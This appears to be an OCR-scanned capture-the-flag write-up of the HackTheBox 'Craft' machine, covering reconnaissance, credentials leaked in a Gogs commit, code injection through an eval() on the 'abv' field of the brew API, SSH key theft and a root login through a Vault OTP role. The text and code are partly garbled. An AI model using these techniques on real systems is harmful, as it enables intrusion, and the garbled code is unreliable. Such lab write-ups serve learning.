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{5 F nmap3 # #E AL O :

Nrnap Output | Ports / Hosts | Topology Host Details | Scans

Port  Protocol  State  Service  Version
Q@ 22 tcp -open  ssh - OpenSSH 7.4pl Debian 10+deb9u5 (protocol 2.0)

© 443 top ‘open  http nginx1.15.8

RFTHEANRO, EHED Ehtps:/10.10.10.110,/5 30 T 506

Craft = Home AP @

About Craft

Craft aims to be the largest repository of US-produced craft brews accessible over REST. In the future we will release a
mobile app to interface with our public rest APl as well as a brew submission process, but for now, check out our API!

Craft - HackTheBox © All Rights Reserved.

BAR PR, BEEREEG, B30 THANEA:

<li class="active" =<a href="/">Home</a></1i>

</ul>

<ul class="nav navbar-nav pull-right">
<li=<a href="https://api.craft.htb/api/"=API</a></1i>
<li><a href="https://gogs.craft.htb/"><img border="0" alt="Git" srec="/static/img/Git-Icon-Black.png" width="20" height="20"></a></li>

</ul>

</div=<!--/.nav-collapse -->
</div=
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Craft API®

[ Base URL: api.craft.htb/api ]
https://api.craft.htb/api/swagger.json

An API for IPA’s

auth/ operations related to authentication




| /auth/check Checks validity of an authorization token

{ /auth/login Create an authentication token provided valid username and password

brewl Operations related to beer. v

‘ /brew/ Returns list of brews

{ POST /brew/ Creates a new brew entry

‘ /brew/{id} Updates a brew

[ DIARS IS /brew/{id} Deletes a brew
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| @ & https://gogs.craft.htb/explore/repos oo ﬁ]
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Repositories

Craft | craft-api *0Fo
4 users An AP for IPA's.
} 13 Organizations Updated 8 months ago
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& Crart / crart-apl & Watch | 2 Y7 Star 0 YFork 0

B Files @ Issues M Pull Requests [ EE Wwiki

I Branch: master » craft-api | app.py

El app.py 1.5 KB Permalink History Raw 1[I

1  import os
2 from flask import Flask, Blueprint
3 from werkzeug.contrib.fixers import ProxyFix

4 from craft_api import settings

5 from craft_api.api.auth.endpoints.auth import ns as craft_auth_namespace
6 from craft_api.api.brew.endpoints.brew import ns as craft_brew_namespace
7 from craft_api.api.restplus import api

4 from craft_api.database import db

9

10 app = Flask(__name_ )

12
13 def configure_app(flask_app):
14 Flack ann ~rAanfFinl ' CCOVED MAMC!'1 — cattinne [l ACK CCODWED MAMC
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T #Gogos B [ # ARG il B it
1E craft-api/api/endpoints/brew.py HIZ54317H evalR #L:

auth.auth_required
api.expect(beer_entry)
def post(self):

eval('%ss > 1' request.json['abv']):
"ABV must be a decimal value less than 1.0", 400
create_brew(request.json)
None, 201

Efh R Zeval BB EEW 1 /brew/ JFEITHMHNIE, 2 EEpost KjsondE, inE7Ejson) abv ZE FF# A\ a2 AT K
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T EBAUE, B BATE craft_api/api/auth/endpoints/auth.py F#EE]:

def auth_required(f):
wraps (f)
def decorated(*args, kwargs):

'X-Craft-Api-Token' request.headers:
token request.headers['X-Craft-Api-Token']

token_decoded jwt.decode(token, secret)

{'message' : 'Invalid token or no token found.'}, 403
f(+xargs, kwargs)

decorated

https://blog.csdn.net/SWEI

Bl fEheader ¥#¥ N X-Craft-Api-Token HI{E . {EHERZlogimAiEKtoken
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/auth/login Create an authentication token provided valid username and password

Parameters

No parameters Authentication Required ]

User Name: ‘ dinesh| ‘

Password: | eeessesessssse

Cancel OK ‘

— 7 : https://api.craft.htb is requesting your username and password. The site says: “Craft APl Login” _

Responses Response content type I application/json
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13 1 changed files with 1 additions and 1 deletions Split View Show Diff Stats

+1 -1 testsftest_py/

80 -3,7 +3,7 @0

33 import requests

4 4 dimport json / /

6 -response = requests.get('https://api.craft.htb/api/auth/login', auth=('#ERESH', 'HEURESBPEVIREE' ), verify=False)
6 +response = requests.get('https:/sapi.craft.htb/api‘auth/login', auth=('', ''), verify=False)

T json_response = json.loads(response.text)

5 & token = json_response['token']

===
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Request URL

https://api.craft.htb/api/auth/login
Server response

Code Details

2o Response body

"token": "eylOeXAi0iJKV1QiLCJIhbGci0ilIUzIINiJ9.eyllc2VyIjoiZGluZXNoIliwiZXhwIjoxNTcyMjI4M]jA4fQ. FLt4celfpgZKsIJoPVUpTWwWAWE36ZZzISYbLPEP74mZyg"

Response headers

accept-ranges: bytes
connection: close
content-length: 140

content-type: application/json
date: Mon, 28 Oct 2019 01:58:28 GMT
server: nginx/1.15.8

ZJEFE /brew Hapi ARHREFPOSTIRI R, MRJEELIF 1 HE X Kabvae B 4L Apayload:

brew/ Operations related to beer. v

POST /brew/ Creates a new brew entry

Name Description

payload % required
Edit Value | Model

(body)
"id": o,
"brewer g",
"name" o
"style": . ./
"abv": "string"
}
payload®] LA &%

https://blog.csdn.net/u011721501/article/details/47298723
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_[ Raw T Params T Headers T Hex ]
HTTP/1.1

E1lu wifZXhwIjoxNTowd
{
"i:‘.": 0,
"brewer": "string",
"mame": "string",
"atyle" "giring™.
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IR H TR 4 3 B R IAE =N, IESFS LB 22 250 R I
BAKSER, KI gilfoyle XMKS FTHEABHE, T HEHsshFH.

ﬂ gilfoyle 72bd346e48 Add script to enable secrets backend

B ssh 84736fb39d Commit infrastructure configs
B craft-flask 84736fb32d Commit infrastructure configs
B mysqgl 84736fb39d  Commit infrastructure configs
B nginx 84736fb39d Commit infrastructure configs
B vault 72bd348e48  Add script to enable secrets backend
=] docker-compose.yml 84736fb39d Commit infrastructure configs

ﬂgilfcryle 84736fb39d Commit infrastructure configs

=| id _rsa g84736fb32d Commit infrastructure configs

=l id_rsa.pub 84736fb32d Commit infrastructure configs

TERIE B AN, FHEHAEITsshERM, BR-EXK, FHETESRER:

i BHid_rsafARIE &, A4 chmod 0600 ~/.ssh/id_rsa #EATEE, RJG B Rssh, HHBERKFBLHATLLT .
G5 B user.txt, BEIXSRIflagls B
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NO WARRANTY,

XEAGEMsudofetl, W TRA, WETHANES, BEERBvaultix N0k,
#Rvault, KIR—FHTENRMAEFEREW D 2 EBILERBHRT TR, WHEMNREE S+ Esecrets.shi]
LA 2

#!1/bin/bash
# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0




i A &

vault write ssh/creds/root_otp ip=<#EHlip>

Jilfoyle@craft:~/craft-infra/vault$ wvault write ssh/creds/root otp ip=10.10.10.114

Llease id
Llease duration
Llease renewable
' 19.10.10.110
f7184669-cabb-d5468-2aaa-8cf252cdaft4dc
otp
22
Isername root https://blog.csdn.net/SWEETOSWAT
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Password:
Linux craft.htb 4.9.0-8-amdé64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86

he programs included with the Debian GNU/Linux system are free software;
he exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

t login: Tue Aug-27 04:53:14 2819
root@cratt:~# 4
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